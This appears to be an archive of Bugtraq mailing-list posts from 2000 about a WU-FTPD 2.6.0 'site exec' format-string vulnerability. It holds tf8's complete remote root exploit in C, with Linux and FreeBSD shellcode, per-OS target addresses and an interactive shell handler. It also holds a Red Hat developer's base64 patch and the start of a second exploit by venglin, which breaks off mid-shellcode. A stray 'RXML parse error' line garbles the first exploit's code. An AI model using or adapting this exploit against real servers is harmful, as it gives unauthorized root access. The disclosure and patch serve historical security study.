5222752 2000-06-23 02:30 /657 rader/ Postmaster
Mottagare: Bugtraq (import) <11391>
Ärende: WuFTPD: Providing *remote* root since at least1994
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
Message-ID: <200006222006.AAA11400@zolo.freelsd.net>
Date: Fri, 23 Jun 2000 00:06:18 +0400
Reply-To: tf8 <tf8@ZOLO.FREELSD.NET>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: tf8 <tf8@ZOLO.FREELSD.NET>
To: BUGTRAQ@SECURITYFOCUS.COM
/* - wuftpd2600.c
* VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
*
* WUFTPD 2.6.0 REMOTE ROOT EXPLOIT
* by tf8
*
* *NOTE*: For ethical reasons, only an exploit for 2.6.0 will be
* released (2.6.0 is the most popular version nowadays), and it
* should suffice to proof this vulnerability concept.
*
* Site exec was never really *fixed*
*
* Greetz to portal (he is elite!#%$) and all #!security.is, glitch, DiGit,
* \x90, venglin, xz, MYT and lamagra.
* Also greetings go to the WU-FTPD development team for including this
* bug in ALL their versions.
*
* Fuck to wuuru (he is an idiot)
*
* Account is not required, anonymous access is enough :)
*
* BTW, exploit is broken to avoid kids usage ;)
*
* VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <errno.h>
#ifdef __linux
#include <getopt.h>
#endif
#define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24)
#define GREEN "\033[32m"
#define RED "\033[31m"
#define NORM "\033[0m"
char infin_loop[]= /* for testing purposes */
"\xEB\xFE";
char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
"\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
"\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
"\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
"\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
"\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9"
"\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75"
"\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd"
"\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46"
"\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
"\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
"\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30"
"\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
"\x67\x6c\x69\x6e";
char bsd_code_d[]= /* you should call it directly (no jump/call)*/
"\xEB\xFE\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5C"
"\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF"
"\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8"
"\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14"
"\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11"
"\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F"
"\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9"
"\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11"
"\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9"
"\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86"
"\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF";
char linuxcode[]= /* Lam3rZ chroot() code */
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
"\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
"\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
"\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
"\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
"\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
"\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
"\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";
#define MAX_FAILED 4
#define MAX_MAGIC 100
static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];
static char *magic_str=NULL;
int before_len=0;
char *target=NULL,*username="ftp",*password=NULL;
struct targets getit;
struct targets {
int def;
char *os_descr, *shellcode;
int delay;
u_long pass_addr, addr_ret_addr;
int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux;
};
struct targets targ[]={
{0,"RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1},
{0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1},
{0,"SuSe 6.3 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1},
{0,"SuSe 6.4 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1},
{0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1},
{0,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports",bsdcode,10,0x80bb474-100, 0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1,2,1,2,1,4},0},
{1,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4},0},
{0,"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports",bsdcode,2,0x80a4dec-400,0xbfbfc624, {0x3B,2,1,0xe,0x40,1,2,1,2},{1,2,1,2,1,3,2,1,4},0},
{0,"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0},
{0,NULL,NULL,0,0,0,{0},{0},0}
};
void usage(char*zu,int q){
int i, n, padding;
fprintf(stderr,"Usage: %s -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]\n"
" [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]\n"
"target : host with any wuftpd\nuser : anonymous user\n"
"dir : if not anonymous user, you need to have writable directory\n"
"magic_str : magic string (see exploit description)\n-g : enables magic string digging\n"
"-x : enables test mode\npass_addr : pointer to setproctitle argument\n"
"ret_addr : this is pointer to shellcode\nsystypes: \n",zu);
for(i=0;targ[i].os_descr!=NULL;i++){
padding=0;
fprintf(stderr,"%s%2d - %s\n",targ[i].def?"*":" ",i,targ[i].os_descr);
if(q>1){
fprintf(stderr," Magic ID: [");
for(n=0;targ[i].magic[n]!=0;n++){
if(targ[i].magic_d[n]==4)
padding=targ[i].magic[n];
fprintf(stderr,"%02X,%02X",targ[i].magic[n],targ[i].magic_d[n]);
if(targ[i].magic[n+1]!=0)
fprintf(stderr,":");
}
fprintf(stderr,"] Padding: %d\n",padding);
fflush(stderr);
}
}
exit(1);
}
int connect_to_server(char*host){
struct hostent *hp;
struct sockaddr_in cl;
int sock;
if(host==NULL||*host==(char)0){
fprintf(stderr,"Invalid hostname\n");
exit(1);
}
if((cl.sin_addr.s_addr=inet_addr(host))==-1) {
if((hp=gethostbyname(host))==NULL) {
fprintf(stderr,"Cannot resolve %s\n",host);
exit(1);
}
memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr));
}
if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
fprintf(stderr,"Error creating socket: %s\n",strerror(errno));
exit(1);
}
cl.sin_family=PF_INET;
cl.sin_port=htons(21);
if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1){
fprintf(stderr,"Cannot connect to %s: %s\n",host,strerror(errno));
exit(1);
}
return sock;
}
int ftp_recv(int sock,char*buf,int buf_size,int disc){
int n=0;
char q;
if(disc) while((n=recv(sock,&q,1,0))==1&&q!='\n');
else {
(void)bzero(buf,buf_size);
n=recv(sock,buf,buf_size,0);
if(n<0){
fprintf(stderr,"ftp_recv: recv failed\n");
exit(1);
}
buf[n]=0;
}
return n;
}
int ftp_send(int sock,char*what,int size,int f,char*ans,int ans_size){
int n;
n=send(sock,what,size,0);
if(n!=size){
fprintf(stderr,"ftp_send: failed to send. expected %d, sent %d\n", size,n);
shutdown(sock,2);
close(sock);
exit(1);
}
if(f)
return ftp_recv(sock,ans,ans_size,0);
return 0;
}
int ftp_siteexec(int sock,char*buff,int buff_len,int q,char*ans,int ans_len){
ftp_send(sock,buff,buff_len,q,ans,ans_len);
if(strncmp(ans,"200-",4)==0)
ftp_recv(sock,NULL,0,1);
else
ftp_recv(sock,ans,ans_len,0);
if(strncmp(ans,"200-",4)){
fprintf(stderr,"Cannot find site exec response string\n");
exit(1);
}
return 0;
}
void ftp_login(int sock,char*u_name,char*u_pass)
{
char buff[2048];
printf("loggin into system..\n");
snprintf(buff,2047,"USER %s\r\n", u_name);
ftp_send(sock, buff,strlen(buff),1,buff,2047);
printf(GREEN"USER %s\n"NORM"%s",u_name,buff);
snprintf(buff,2047,"PASS %s\r\n",u_pass);
printf(GREEN"PASS %s\n"NORM,*u_pass=='\x90'?"<shellcode>":u_pass);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
while(strstr(buff,"230 ")==NULL){
(void)bzero(buff,2048);
ftp_recv(sock,buff,2048,0);
}
printf("%s",buff);
return;
}
void ftp_mkchdir(int sock,char*cd,char*new)
{
char buff[2048];
sprintf(buff,"CWD %s\r\n",cd);
printf(GREEN"%s"NORM,buff);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
printf("%s",buff);
sprintf(buff,"MKD %s\r\n",new);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
printf(GREEN"MKD <shellcode>"NORM"\n%s",buff);
sprintf(buff,"CWD %s\r\n",new);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
printf(GREEN"CWD <shellcode>"NORM"\n%s",buff);
return;
}
void process_possibly_rooted(int sock)
{
fd_set fd_read;
char buff[1024], *cmd=getit.islinux?"/bin/uname -a;/usr/bin/id;exit\n":"/usr/bin/uname -a;/usr/bin/id;exit\n";
int n;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
FD_SET(0, &fd_read);
send(sock, cmd, strlen(cmd), 0);
while(1) {
FD_SET(sock,&fd_read);
FD_SET(0,&fd_read);
if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
if( FD_ISSET(sock, &fd_read) ) {
if((n=recv(sock,buff,sizeof(buff),0))<0){
fprintf(stderr, "EOF\n");
exit(2);
}
if(write(1,buff,n)<0)break;
}
if ( FD_ISSET(0, &fd_read) ) {
if((n=read(0,buff,sizeof(buff)))<0){
fprintf(stderr,"EOF\n");
exit(2);
}
if(send(sock,buff,n,0)<0) break;
}
usleep(10);
}
fprintf(stderr,"Connection aborted, select failed()\n");
exit(0);
}
int magic_check_f(int sock, char *str) {
char q[2048], ans[2048];
snprintf(q, 2048, "site exec %s%s\r\n", str, "%.f");
if( strstr( q, "\r\n") == NULL) {
fprintf(stderr,"Line TOO big..\n");
exit(-1);
}
ftp_siteexec(sock, q, strlen(q), 1, ans, 2048);
if( before_len+10 < strlen(&ans[3]) ) return 0;
before_len=strlen(&ans[3]);
(void)strcat(str,"%.f");
return 1;
}
int magic_check_o(int sock, char *str) {
char q[2048], ans[2048];
snprintf(q, 2048, "site exec %s%s\r\n", str, "%c");
if( strstr( q, "\r\n") == NULL) {
fprintf(stderr,"Line TOO big..\n");
exit(-1);
}
ftp_siteexec( sock, q, strlen(q), 1, ans, 2048);
if( before_len== strlen(&ans[3]) ) {
before_len+=1;
(void)strcat(str, "%d");
return 3;
}
before_len=strlen(&ans[3]);
(void)strcat(str,"%c");
return 2;
}
int magic_check_ok( int sock, char *str)
{
char q[2048], ans[2048];
int i ,n=1, f, padding=0;
snprintf(q, 2048,"site exec aaaaaaaa%s%s\r\n", str, "%p%p");
if ( strstr(q, "\r\n" ) == NULL) {
fprintf(stderr, "Line too long\n");
exit(-1);
}
(void)bzero(ans, 2048);
ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
if(strstr(ans,"0x61616161")==NULL)
return 0;
for(i =0; i < MAX_MAGIC && magic[i]; i++);
magic_d[i]=4;
while(n){
for(f=0; f< 2; f++) {
snprintf(q, 2048,"site exec %.*saaaa%s%s\r\n", padding, "xxxx", str, f?"%p%p":"%p");
(void)bzero(ans, 2048);
ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
if( strstr(ans, "0x61616161")!=NULL) {
if (f==0) {
magic[i]=padding;
return 1;
} else if( f==1) {
strcat(str,"%p");
magic[i]=padding;
return 1;
}
}
}
if(padding > 4) {
fprintf(stderr,"Cannot calculate padding..\n");
exit(1);
}
padding++;
}
return 1;
}
int magic_digger(int sock)
{
int get_out=1,where=0,all_failed=MAX_FAILED*2,f=0,o=0;
if(magic_str==NULL){
if((magic_str=(char*)malloc(4092))==NULL){
perror("malloc");
exit(errno);
}
}
(void)bzero(magic_str, 4092);
where=0;
while(get_out) {
int q;
if( where >= MAX_MAGIC-1 || all_failed <= 0 )
return -1;
if( magic_check_f(sock, magic_str) ) {
o=0,f++;
if(f==1){
if(!magic[where])
magic[where]=1;
else
magic[++where]+=1;
magic_d[where]=1;
} else
magic[where]+=1;
all_failed=MAX_FAILED*2;
printf("%s", "%.f"); fflush(stdout);
goto verify;
}
all_failed--;
if((q=magic_check_o(sock,magic_str))){
f=0,o++;
if(o==1){
if(!magic[where])
magic[0]=1;
else
magic[++where]+=1;
magic_d[where]=q;
} else {
if(magic_d[where]==q)
magic[where]+=1;
else {
magic[++where]=1;
magic_d[where]=q;
}
}
all_failed=MAX_FAILED*2;
printf("%s", q==2?"%c":"%d");
fflush(stdout);
goto verify;
}
all_failed--;
continue;
verify:
if(magic_check_ok(sock,magic_str)){
putchar('\n');
return 0;
}
}
return 0;
}
int main(int argc, char *argv[]){
char *buff, *buff_p, *buff_p2, c, shellcode[500],*dir,*passwd=shellcode;
int i, sock, num=-2, padding=-1, gm=0, testmode=0,mtype=0,bla=0,offset=0;
u_long ret_addr=0, pass_addr=0;
for(i=0;targ[i].os_descr!=NULL;i++);
while((c=getopt(argc,argv,"t:l:m:o:s:r:p:M:P:xghH?"))!=EOF){
switch(c) {
case 't': target=optarg;break;
case 'l':
username=optarg;
passwd=strchr(optarg,'/');
if(passwd==NULL)
usage(argv[0],0);
*passwd++=(char)0;
break;
case 'x': testmode=1; break;
case 'o': offset=atoi(optarg);break;
case 'p': pass_addr=strtoul(optarg, &optarg,16); break;
case 'g': gm=1; break;
case 'M': dir=optarg;mtype=1;break;
case 'm':
{
int where=0;
if(!*optarg) {
fprintf(stderr,"-m requires argument, try -h for help\n");
exit(1);
}
while(1) {
magic[where]=strtoul(optarg,&optarg,16);
optarg=strchr(optarg,',');
if(optarg==NULL){
printf("comma missing\n");
exit(1);
}
optarg++;
magic_d[where++]=strtoul(optarg,&optarg,16);
if(strchr(optarg,':')==NULL){
magic[where]=magic_d[where]=0;
break;
}
optarg=strchr(optarg,':');
optarg++;
}
}
break;
case 's':/*
num=atoi(optarg);
if(num>i) {
fprintf(stderr,"systype too big, try -h for help\n");
exit(1);
} :) */
break;
case 'r':
ret_addr=strtoul(optarg,&optarg,16);
break;
case 'P':
padding=atoi(optarg);
break;
case 'H':
bla=2;
default: usage(argv[0],bla);break;
}
}
if(target==NULL){
fprintf(stderr,"No target specified, try -h for help\n");
exit(1);
}
if(num==-1||num==-2) {
for(i=0;!targ[i].def;i++);
num=i;
}
(void)memcpy((void*)&getit,(void*)&targ[num],sizeof(struct targets));
if(magic[1]!=0) {
memcpy((void*)getit.magic,magic,sizeof(magic));
memcpy((void*)getit.magic_d,magic_d,sizeof(magic));
}
if(ret_addr)getit.addr_ret_addr=ret_addr;
if(pass_addr)getit.pass_addr=pass_addr;
getit.addr_ret_addr+=(offset*4);
sock=connect_to_server(target);
memset(shellcode, '\x90', sizeof(shellcode));
shellcode[sizeof(shellcode)-1]=(char)0;
if(!mtype){
memcpy((void*)&shellcode[sizeof(shellcode)-strlen(getit.shellcode)-1],(void*)getit.shellcode, strlen(getit.shellcode)+1);
shellcode[sizeof(shellcode)-1]=(char)0;
}else{
memcpy((void*)
RXML parse error: Unknown scope "shellcode[250-strlen(getit".
| &shellcode[250-strlen(getit.shellcode)-1],(void*)getit.shellcode,strlen(getit.shellcode));
shellcode[250-1]=(char)0;
}
printf("Target: %s (%s/%s): %s\n",target,username,*passwd=='\x90'?"<shellcode>":passwd,getit.os_descr);
printf("Return Address: 0x%08lx, AddrRetAddr: 0x%08lx, Shellcode: %d\n\n",getit.pass_addr,getit.addr_ret_addr,strlen(getit.shellcode));
buff=(char *)malloc(1024);
bzero(buff,1024);
(void)ftp_recv(sock,NULL,0,1);
(void)ftp_login(sock,username,passwd);
if(gm||(magic_str==NULL&&getit.magic[0]==0)){
printf("STEP 2A: Generating magic string: ");
fflush(stdout);
magic_digger(sock);
memcpy((void *)getit.magic,(void*)magic,sizeof(magic));
memcpy((void*)getit.magic_d,(void*)magic_d,sizeof(magic_d));
printf("STEP 2B: MAGIC STRING: [");
} else {
printf("STEP 2 : Skipping, magic number already exists: [");
}
for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){
printf("%02X,%02X",getit.magic[i],getit.magic_d[i]);
if(getit.magic[i+1]!=0)
putchar(':');
}
printf("]\n");
buff=(char *)realloc(buff, 4092);
(void)bzero(buff, 4092);
if(mtype)
ftp_mkchdir(sock,dir,shellcode);
printf("STEP 3 : Checking if we can reach our return address by format string\n");
if(!magic_str){
magic_str=(char*)malloc(2048);
if(magic_str==NULL) {
perror("malloc");
exit(errno);
}
(void)bzero(magic_str,2048);
for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){
switch(getit.magic_d[i]) {
case 1:
for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%.f");
break;
case 2:
for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%c");
break;
case 3:
for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%d");
break;
case 4:if(padding<0)padding=getit.magic[i];break;
default:fprintf(stderr,"STEP 3: INternal error\n");
exit(1);
break;
}
}
}
if(padding<0){
for(num=0;num<MAX_MAGIC&&getit.magic_d[num]!=4;num++);
if(num<(MAX_MAGIC-1))
padding=getit.magic[num];
else
fprintf(stderr,"WARNING: PROBLEMS WITH PADDING\n");
}
if(!getit.islinux){
if(!testmode)
snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,"%p");
else
snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,"%p");
} else {
if(!testmode)
snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,"%p");
else
snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,"%p");
}
sleep(getit.delay);
fflush(stdout);
if((buff_p=(char *)malloc(4096))==NULL){
fprintf(stderr,"malloc failed.\n");
exit(1);
}
(void)bzero(buff_p,4096);
ftp_siteexec(sock,buff,strlen(buff),1,buff_p,4095);
if((buff_p2=strchr(buff_p,'\r'))!=NULL)
*buff_p2=(char)0;
if((buff_p2=strchr(buff_p,'\n'))!=NULL)
*buff_p2=(char)0;
buff_p2=strstr(buff_p,"|0x");
if(buff_p2==NULL){
fprintf(stderr,"Fix me, incorrect response from '%%p':%s\n",buff_p);
exit(1);
}
buff_p2+=3;
if(!testmode)
printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.addr_ret_addr);
else
printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.pass_addr);
sleep(getit.delay);
buff_p2=strstr(buff, "%.f");
*buff_p2++=(char )0;
strcpy(buff_p, buff);
if(!testmode)
sprintf(buff_p+strlen(buff_p),"%s%u%c","%d%.",(u_int)getit.pass_addr,'d');
else
sprintf(buff_p+strlen(buff_p),"%s","%d%d");
strcpy(buff_p+strlen(buff_p), buff_p2);
buff_p2=strchr(buff_p,'|');
buff_p2++;
printf("STEP 5 : Sending code.. this will take about 10 seconds.\n");
if(!testmode){
strcpy(buff_p2,"%n\r\n");
ftp_send(sock,buff_p,strlen(buff_p),0,NULL,0);
} else {
(void)bzero(buff,4096);
strcpy(buff_p2,"%s\r\n");
ftp_send(sock,buff_p,strlen(buff_p),1,buff,4092);
printf("got answer: %s\n",buff);
exit(0);
}
free(buff_p);
free(buff);
signal(SIGINT, SIG_IGN);
signal(SIGHUP, SIG_IGN);
printf(RED"Press ^\\ to leave shell"NORM"\n");
process_possibly_rooted(sock);
return 0;
}
(5222752) ------------------------------------------
5224107 2000-06-23 22:02 /67 rader/ Postmaster
Mottagare: Bugtraq (import) <11396>
Ärende: Re: WuFTPD: Providing *remote* root since at least1994
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="279710978-786788563-961719611=:25605"
Message-ID: <Pine.LNX.4.21.0006230217250.25605-200000@bochum.redhat.de>
Date: Fri, 23 Jun 2000 02:20:11 +0200
Reply-To: Bernhard Rosenkraenzer <bero@REDHAT.DE>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Bernhard Rosenkraenzer <bero@REDHAT.DE>
X-To: Elias Levy <aleph1@securityfocus.com>
X-cc: wuftpd-members@wu-ftpd.org, vendor-sec@lst.de
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To: <20000622154402.G11033@securityfocus.com>
This message is in MIME format. The first part should be readable
text, while the remaining parts are likely unreadable without
MIME-aware tools. Send mail to mime@docserver.cac.washington.edu
for more info.
--279710978-786788563-961719611=:25605
Content-Type: TEXT/PLAIN; charset=US-ASCII
On Thu, 22 Jun 2000, Elias Levy wrote:
> /* - wuftpd2600.c
> * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
This should fix it... Since the exploit never worked for me in the
first time and I haven't taken the time to fix it yet (fixing the bug
is more important than fixing the exploit, I guess ;) ), it's
unverified though.
LLaP
bero
--279710978-786788563-961719611=:25605
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="wu-ftpd-2.6.0-security.patch"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.21.0006230220110.25605@bochum.redhat.de>
Content-Description: fix
Content-Disposition: attachment; filename="wu-ftpd-2.6.0-security.patch"
LS0tIHd1LWZ0cGQtMi42LjAvc3JjL2Z0cGNtZC55LnNlY3VyaXR5CUZyaSBK
dW4gMjMgMDE6NDk6NDUgMjAwMA0KKysrIHd1LWZ0cGQtMi42LjAvc3JjL2Z0
cGNtZC55CUZyaSBKdW4gMjMgMDE6NTI6MzcgMjAwMA0KQEAgLTc3Niw3ICs3
NzYsNyBAQA0KIAkgICAgaWYgKCFyZXN0cmljdGVkX3VzZXIgJiYgJDIgIT0g
MCAmJiAkNiAhPSBOVUxMKSB7DQogCQljaGFyIGJ1ZltNQVhQQVRITEVOXTsN
CiAJCWlmIChzdHJsZW4oJDYpICsgNyA8PSBzaXplb2YoYnVmKSkgew0KLQkJ
ICAgIHNwcmludGYoYnVmLCAiaW5kZXggJXMiLCAoY2hhciAqKSAkNik7DQor
CQkgICAgc25wcmludGYoYnVmLCBNQVhQQVRITEVOLCAiaW5kZXggJXMiLCAo
Y2hhciAqKSAkNik7DQogCQkgICAgKHZvaWQpIHNpdGVfZXhlYyhidWYpOw0K
IAkJfQ0KIAkgICAgfQ0KQEAgLTE4NzEsNiArMTg3MSwxMCBAQA0KICAgICBj
aGFyICpzcCA9IChjaGFyICopIHN0cmNocihjbWQsICcgJyksICpzbGFzaCwg
KnQ7DQogICAgIEZJTEUgKmNtZGY7DQogDQorICAgIGlmKHN0cmxlbihjbWQp
K3N0cmxlbihfUEFUSF9FWEVDUEFUSCkrMSA+IE1BWFBBVEhMRU4pIHsNCisg
ICAgICAgIHN5c2xvZyhMT0dfQ1JJVCwgIlVzZXIgcHJvYmFibHkgdHJpZWQg
U0lURSBFWEVDIHJvb3QgZXhwbG9pdCwgcmVmdXNpbmchIik7DQorICAgICAg
ICByZXR1cm47DQorICAgIH0NCiANCiAgICAgLyogc2FuaXRpemUgdGhlIGNv
bW1hbmQtc3RyaW5nICovDQogDQpAQCAtMTg5Myw3ICsxODk3LDcgQEANCiAg
ICAgLyogYnVpbGQgdGhlIGNvbW1hbmQgKi8NCiAgICAgaWYgKHN0cmxlbihf
UEFUSF9FWEVDUEFUSCkgKyBzdHJsZW4oY21kKSArIDIgPiBzaXplb2YoYnVm
KSkNCiAJcmV0dXJuOw0KLSAgICBzcHJpbnRmKGJ1ZiwgIiVzLyVzIiwgX1BB
VEhfRVhFQ1BBVEgsIGNtZCk7DQorICAgIHNucHJpbnRmKGJ1ZiwgTUFYUEFU
SExFTiwgIiVzLyVzIiwgX1BBVEhfRVhFQ1BBVEgsIGNtZCk7DQogDQogICAg
IGNtZGYgPSBmdHBkX3BvcGVuKGJ1ZiwgInIiLCAwKTsNCiAgICAgaWYgKCFj
bWRmKSB7DQo=
--279710978-786788563-961719611=:25605--
(5224107) ------------------------------------------(Ombruten)
5224157 2000-06-23 22:22 /517 rader/ Postmaster
Mottagare: Bugtraq (import) <11397>
Ärende: WUFTPD 2.6.0 remote root exploit
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Message-ID: <20000623031414.A86799@lubi.freebsd.lublin.pl>
Date: Fri, 23 Jun 2000 03:14:15 +0200
Reply-To: Przemyslaw Frasunek <venglin@FREEBSD.LUBLIN.PL>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Przemyslaw Frasunek <venglin@FREEBSD.LUBLIN.PL>
X-cc: submissions@packetstorm.securify.com
To: BUGTRAQ@SECURITYFOCUS.COM
/*
* (c) 2000 venglin / b0f
* http://b0f.freebsd.lublin.pl
*
* WUFTPD 2.6.0 REMOTE ROOT EXPLOIT
*
* Idea and preliminary version of exploit by tf8
*
* Greetz: Lam3rZ, TESO, ADM, lcamtuf, karpio.
* Dedicated to ksm.
*
* **PRIVATE**DO*NOT*DISTRIBUTE**
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>
#define repln if (getreply(0) < 0) return -1
#define replv if (getreply(1) < 0) return -1
#ifdef DEBUG
#define repl replv
#else
#define repl repln
#endif
char usage[] = "usage: bobek [-l login] [-o port] [-t type] hostname";
char recvbuf[BUFSIZ], sendbuf[BUFSIZ];
FILE *cin, *cout;
char linuxcode[]= /* Lam3rZ chroot() code */
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
"\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
